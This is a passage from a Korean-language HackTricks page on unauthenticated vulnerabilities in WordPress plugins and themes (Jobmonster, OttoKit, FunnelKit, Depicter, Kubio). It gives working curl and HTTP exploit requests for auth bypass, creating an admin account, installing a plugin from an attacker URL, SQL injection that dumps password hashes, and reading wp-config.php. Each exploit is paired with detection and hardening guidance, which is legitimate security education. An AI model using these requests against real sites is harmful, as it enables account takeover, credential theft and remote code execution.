wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Why it’s exploitable
- admin-ajax.php를 통해 인증 없이 접근 가능 (wp_ajax_nopriv_… action).
- 상태 변경 전에 nonce/capability 검증이 없음.
- OAuth/OpenID provider 검증 누락; 기본 분기(default branch)가 공격자 입력을 수용함.
- get_user_by('email', $_POST['id']) 다음에 wp_set_auth_cookie($uid)가 호출되면 요청자를 기존 이메일 주소의 계정으로 인증시킴.
Exploitation (unauthenticated)
- Prerequisites: 공격자가 /wp-admin/admin-ajax.php에 접근 가능하고 유효한 사용자 이메일을 알고 있거나 추측할 수 있음.
- provider를 지원되지 않는 값으로 설정(또는 생략)하여 기본 분기(default branch)를 타게 하고 id=<victim_email>를 전달.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
Finding the action name
- 테마/플러그인에서 social login 코드의 add_action('wp_ajax_nopriv_...', '...') 등록을 확인 (예: framework/add-ons/social-login/class-social-login.php).
- AJAX 핸들러 내부에서 wp_set_auth_cookie(), get_user_by('email', ...) 등을 grep로 검색.
Detection checklist
- /wp-admin/admin-ajax.php에 대해 social-login action과 id=
을 포함한 인증되지 않은 POST가 웹 로그에 기록됨. - 동일 IP/User-Agent에서 성공 JSON을 반환한 200 응답 직후 인증된 트래픽 발생.
Hardening
- 클라이언트 입력으로 신원을 유추하지 마라. 이메일/ID는 검증된 provider 토큰/ID에서만 수용한다.
- 로그인 헬퍼에도 CSRF nonce와 capability 체크를 요구하라; 불필요한 경우 wp_ajax_nopriv_ 등록을 피하라.
- OAuth/OIDC 응답을 서버사이드에서 검증하고 확인하라; 제공자 누락/잘못된 경우(POST id로 폴백하지 말고) 거부하라.
- 임시로 social login을 비활성화하거나 엣지에서 가상 패치(취약 action 차단)하여 수정될 때까지 차단을 고려하라.
Patched behaviour (Jobmonster 4.8.0)
- $_POST['id']의 불안전한 폴백을 제거함; $user_email은 switch($_POST['using'])의 검증된 provider 분기에서 유래해야 함.
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
일부 플러그인은 호출자의 권한을 검증하지 않고 재사용 가능한 “connection keys” 또는 토큰을 발급하는 REST 엔드포인트를 노출한다. 경로가 추측 가능한 속성(예: username)만으로 인증하고, key를 current_user_can() 또는 엄격한 permission_callback과 같은 사용자/세션에 바인딩하지 않으면, 인증되지 않은 공격자가 키를 발급해 내부 권한 동작(관리자 계정 생성, 플러그인 동작 → RCE)을 실행할 수 있다.
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – 연결 키를 발급한 뒤 사용하기
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
취약한 이유
- 민감한 REST 경로가 엔트로피가 낮은 식별 증명(username)에 의해서만 보호되거나 permission_callback이 누락됨
- 권한 검사 없음; 발급된 키가 범용 우회로로 수용됨
탐지 체크리스트
- plugin 코드에서 register_rest_route(..., [ 'permission_callback' => '__return_true' ]) 를 grep
- 요청으로 제공된 식별 정보(username/email)를 바탕으로 tokens/keys를 발급하되 인증된 사용자나 권한에 묶지 않는 모든 경로
- 서버 측 권한 검사 없이 발급된 token/key를 수용하는 이후의 경로를 찾아라
보안 강화
- 권한이 필요한 REST 경로에는 해당 capability에 대해 current_user_can()을 강제하는 permission_callback 필요
- 클라이언트 제공 식별로 장기 키를 발급하지 말 것; 필요하면 인증 후 단기간, 사용자 바인딩된 토큰을 발급하고 사용 시 권한을 재검사
- 호출자의 사용자 컨텍스트를 검증 (wp_set_current_user만으로는 불충분) 하고 !is_user_logged_in() || !current_user_can(
) 인 요청은 거부
Nonce 게이트 오용 → 인증되지 않은 임의의 plugin 설치 (FunnelKit Automations ≤ 3.5.3)
Nonces는 CSRF를 방지할 뿐 authorization을 보장하지 않는다. 코드가 nonce 통과를 승인 신호로 처리하고 권한이 필요한 작업(예: install/activate plugins)에 대한 capability 검사를 건너뛰면, 인증되지 않은 공격자는 약한 nonce 요건을 충족시켜 백도어 또는 취약한 plugin을 설치함으로써 RCE에 이를 수 있다.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- 플러그인/테마를 수정하는 REST/AJAX 핸들러가 wp_verify_nonce()/check_admin_referer()만 사용하고 권한 검사 없음
- nonce 검증 후 $skip_caps = true로 설정되는 모든 코드 경로
Hardening
- nonces를 항상 CSRF 토큰으로만 취급하세요; nonce 상태와 관계없이 권한 검사를 시행하세요
- installer code에 도달하기 전에 current_user_can('install_plugins') 및 current_user_can('activate_plugins')를 요구하세요
- 인증되지 않은 접근을 거부하세요; 권한이 필요한 흐름에 대해 nopriv AJAX actions를 노출하지 마세요
depicter-* actions의 s (search) 파라미터를 통한 인증되지 않은 SQLi (Depicter Slider ≤ 3.6.1)
여러 depicter-* actions가 s (search) 파라미터를 받아 파라미터화 없이 SQL 쿼리에 문자열로 연결했습니다.
- 파라미터: s (search)
- 결함: WHERE/LIKE clauses에서 직접 문자열 연결; prepared statements/sanitization 없음
- 영향: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
탐지 체크리스트
- Grep for depicter-* action handlers 및 SQL에서 $_GET['s'] 또는 $_POST['s']의 직접 사용 검색
- $wpdb->get_results()/query()에 s를 연결하여 전달되는 커스텀 쿼리 검토
하드닝
- 항상 $wpdb->prepare() 또는 wpdb placeholders 사용; 서버 측에서 예상치 않은 메타문자(reject unexpected metacharacters) 차단
- s에 대해 엄격한 allowlist 추가 및 예상 charset/length로 정규화
인증되지 않은 Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
검증/제한 없이 template 파라미터에 공격자가 제어하는 경로를 허용하면 임의의 로컬 파일을 읽을 수 있으며, 포함 가능한 PHP/log 파일이 런타임에 포함될 경우 특정 환경에서 code execution이 발생할 수 있습니다.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: 정규화/허용목록 없음; traversal permitted
- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC – wp-config.php 읽기
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
탐지 체크리스트
- realpath() containment 없이 request 경로를 include()/require()/read sink에 연결(concatenating)하는 모든 handler
- 의도한 templates 디렉토리 바깥으로 벗어나는 traversal 패턴(../)을 찾아라
보안 강화
- 허용된(allowlisted) templates를 강제 적용; realpath()로 해석하고 require str_starts_with(realpath(file), realpath(allowed_base))
- 입력을 정규화(normalize)하고 traversal 시퀀스 및 절대 경로를 차단(reject); sanitize_file_name()은 파일명에만 사용(전체 경로에는 사용 금지)
References
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks